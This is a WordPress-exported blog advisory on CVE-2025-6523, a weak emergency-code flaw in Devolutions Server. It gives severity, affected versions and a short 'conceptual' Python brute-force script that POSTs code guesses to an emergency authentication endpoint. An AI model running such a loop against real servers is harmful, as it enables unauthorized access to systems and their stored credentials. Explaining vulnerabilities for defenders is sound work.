{"id":85892,"date":"2025-11-26T06:27:48","date_gmt":"2025-11-26T06:27:48","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T00:00:00","slug":"cve-2025-6523-weak-credentials-vulnerability-in-emergency-authentication-component-of-devolutions-server","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-6523-weak-credentials-vulnerability-in-emergency-authentication-component-of-devolutions-server\/","title":{"rendered":"CVE-2025-6523: Weak Credentials Vulnerability in Emergency Authentication Component of Devolutions Server<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The vulnerability CVE-2025-6523 pertains to the use of weak credentials in the emergency authentication component of Devolutions Server. This vulnerability affects a broad range of Devolutions Server versions and allows an unauthenticated attacker to exploit the system by brute forcing short emergency codes. The potential impact could lead to system compromise or data leakage, posing significant risk to organizations.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-6523
\nSeverity: High (7.7 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Devolutions Server | 2025.2.2.0 through 2025.2.3.0
\nDevolutions Server | 2025.1.11.0 and earlier<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit takes advantage of the weak emergency authentication codes generated by the Devolutions Server. An unauthenticated attacker can systematically try all possible combinations of these short emergency codes in a feasible timeframe. Once the correct code is found, the attacker can bypass authentication, gaining access to the system.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of how the vulnerability might be exploited. This pseudocode represents an attacker’s brute force attempt to crack the emergency code:<\/p>\n

import requests\n# Define the target URL\nurl = 'http:\/\/target.example.com\/auth\/emergency'\n# Define a range for brute forcing the emergency codes\nfor code in range(1000, 9999):  # Adjust this range based on the code length\n# Define the malicious payload\npayload = {'emergency_code': str(code)}\n# Make a POST request to the vulnerable endpoint\nresponse = requests.post(url, data=payload)\n# Check if the authentication was successful\nif 'Authentication successful' in response.text:\nprint(f'Successful authentication with code: {code}')\nbreak<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Overview The vulnerability CVE-2025-6523 pertains to the use of weak credentials in the emergency authentication component of Devolutions Server. This vulnerability affects a broad range of Devolutions Server versions and allows an unauthenticated attacker to exploit the system by brute forcing short emergency codes. The potential impact could lead to system compromise or data leakage, […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-85892","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t